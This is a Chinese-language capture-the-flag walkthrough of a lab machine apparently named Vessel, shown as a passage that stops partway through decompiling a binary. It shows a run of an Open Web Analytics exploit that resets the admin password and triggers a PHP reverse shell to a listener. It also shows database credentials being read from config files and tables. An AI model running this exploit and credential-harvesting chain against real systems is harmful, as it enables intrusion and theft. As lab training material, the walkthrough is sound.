Nmap scan report for 10.10.11.178 Host is up (0.29s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
└─$ python3 owa.py -c openwebanalytics.vessel.htb 10.10.16.14 10086 [SUCCESS] Connected to "http://openwebanalytics.vessel.htb/" successfully! [ALERT] The webserver indicates a vulnerable version! [INFO] Attempting to generate cache for"admin" user [INFO] Attempting to find cache of "admin" user [INFO] Found temporary password for user "admin": e8ffbc115fedd34e19da20ed4f4b6fd1 [ALERT] The system appears to be vulnerable!
直接打poc弹shell
1 2 3 4 5 6 7 8 9 10 11 12
└─$ python3 owa.py openwebanalytics.vessel.htb 10.10.16.14 10086 [SUCCESS] Connected to "http://openwebanalytics.vessel.htb/" successfully! [ALERT] The webserver indicates a vulnerable version! [INFO] Attempting to generate cache for"admin" user [INFO] Attempting to find cache of "admin" user [INFO] Found temporary password for user "admin": e8ffbc115fedd34e19da20ed4f4b6fd1 [INFO] Changed the password of "admin" to "CF0ai18FJlFiV4mNJx9AV5dnohPwvMun" [SUCCESS] Logged in as "admin" user [INFO] Creating log file [INFO] Wrote payload to log file [SUCCESS] Triggering payload! Check your listener! [INFO] You can trigger the payload again at "http://openwebanalytics.vessel.htb/owa-data/caches/iGQiN1kD.php"
拿到shell
1 2 3 4 5
└─$ nc -lnvp 10086 listening on [any] 10086 ... connect to [10.10.16.14] from (UNKNOWN) [10.10.11.178] 47212 whoami www-data
www-data to User
因为从git拿到了80初始web的数据库，所以先尝试链接数据库翻翻
1 2 3
mysql -u default -p -D vessel
# daqvACHKvRn84VdVp
这个用户只能访问 vessel 库，会得到一个admin的password
1 2 3 4 5 6 7
mysql>select*from accounts; +----+----------+----------------------------------+------------------+ | id | username | password | email | +----+----------+----------------------------------+------------------+ |1| admin | k>N4Hf6TmHE(W]Uq"(RCj}V>&=rB$4}< | admin@vessel.htb | +----+----------+----------------------------------+------------------+ 1 row in set (0.00 sec)
但是拿去登录没有用
OWA db
因为他有两个web，所以再查看owa的库内容，通过筛选关键字找到数据库配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
www-data@vessel:/var/www$ grep '3306' ./* -r ./html/vessel/node_modules/async/README.md:Check out [this animation](https://camo.githubusercontent.com/6bbd36f4cf5b35a0f11a96dcd2e97711ffc2fb37/68747470733a2f2f662e636c6f75642e6769746875622e636f6d2f6173736574732f313637363837312f36383130382f62626330636662302d356632392d313165322d393734662d3333393763363464633835382e676966) for how `cargo` and `queue` work. ./html/vessel/node_modules/mysql/Readme.md:* `port`: The port number to connect to. (Default: `3306`) ./html/vessel/node_modules/mysql/Readme.md:For example, if you have an installation of mysql running on localhost:3306 ./html/vessel/node_modules/mysql/Readme.md:$ MYSQL_HOST=localhost MYSQL_PORT=3306 MYSQL_DATABASE=node_mysql_test MYSQL_USER=root MYSQL_PASSWORD= FILTER=integration npm test ./html/vessel/node_modules/mysql/lib/ConnectionConfig.js: this.port = options.port || 3306; ./html/owa/plugins/db/owa_db_mysql.php: $port = 3306; ./html/owa/modules/base/classes/installController.php: owa_coreAPI::debug($this->getMsgAsString(3306)); ./html/owa/modules/base/classes/settings.php: 'db_port' => 3306, ./html/owa/modules/base/classes/settings.php: fwrite($handle, str_replace("3306", $config_values['db_port'], $line)); ./html/owa/modules/base/classes/installManager.php: owa_coreAPI::debug($this->getMsgAsString(3306)); ./html/owa/modules/base/updates/004.php: owa_coreAPI::debug($this->getMsgAsString(3306)); ./html/owa/modules/base/templates/install_config_entry.php: <input type="text"size="30" name="<?php echo $this->getNs();?>db_port" value="<?php echo ($config['db_port'] ? $config['db_port'] : 3306);?>"> ./html/owa/modules/base/templates/install_config_entry.php: <span class="form-instructions">(optional) The port of your database. Will default to port 3306 if you leave this empty.</span> ./html/owa/conf/messages.php: 3306 => ['headline' => 'Error', 'message' => 'User id already exists for some reason.'], ./html/owa/owa-config.php:define('OWA_DB_PORT', '3306'); // port of database
包含一个数据库密码
1 2 3 4 5 6 7 8 9
... www-data@vessel:/var/www$ cat ./html/owa/owa-config.php define('OWA_DB_TYPE', 'mysql'); // options: mysql define('OWA_DB_NAME', 'owa'); // name of the database define('OWA_DB_HOST', 'localhost'); // host name of the server housing the database define('OWA_DB_USER', 'owauser'); // database user define('OWA_DB_PORT', '3306'); // port of database define('OWA_DB_PASSWORD', 'Vux8*ZF3rek94%NW'); // database user's password ...
www-data@vessel:/home/steven$ ls total 34M drwxr-xr-x 2 ethan steven 4.0K Aug 11 2022 .notes drwxrwxr-x 3 steven steven 4.0K Aug 11 2022 . drwxr-xr-x 4 root root 4.0K Aug 11 2022 .. -rw-r--r-- 1 ethan steven 33M May 4 2022 passwordGenerator lrwxrwxrwx 1 root root 9 Apr 18 2022 .bash_history -> /dev/null -rw------- 1 steven steven 220 Apr 17 2022 .bash_logout -rw------- 1 steven steven 3.7K Apr 17 2022 .bashrc -rw------- 1 steven steven 807 Apr 17 2022 .profile
www-data@vessel:/home/steven/.notes$ ls total 40K drwxr-xr-x 2 ethan steven 4.0K Aug 11 2022 . drwxrwxr-x 3 steven steven 4.0K Aug 11 2022 .. -rw-r--r-- 1 ethan steven 18K Aug 10 2022 notes.pdf -rw-r--r-- 1 ethan steven 12K May 2 2022 screenshot.png
把东西拖出来，其中pdf上锁了
而图片则疑似是那个33m的passwordgen的gui截图
可能是生成pdf密码时候截图的
passwordGenerator
看下这个执行文件，是个exe
1 2
└─$ file passwordGenerator passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows, 5 sections
用pyinstaller打包的，所以需要再解回去
这里用 pyinstxtractor 还原回pyc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
└─$ python3 ~/tools/pyinstxtractor/pyinstxtractor.py ../passwordGenerator [+] Processing ../passwordGenerator [+] Pyinstaller version: 2.1+ [+] Python version: 3.7 [+] Length of package: 34300131 bytes [+] Found 95 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_subprocess.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_pyside2.pyc [+] Possible entry point: passwordGenerator.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: ../passwordGenerator
You can now use a python decompiler on the pyc files within the extracted directory
用pycdc还原回py提示版本有问题，看了下确实我的版本有些新了。
1 2
└─$ pycdc -c passwordGenerator.pyc -o passwordGenerator.py Opening raw code objects requires a version to be specified
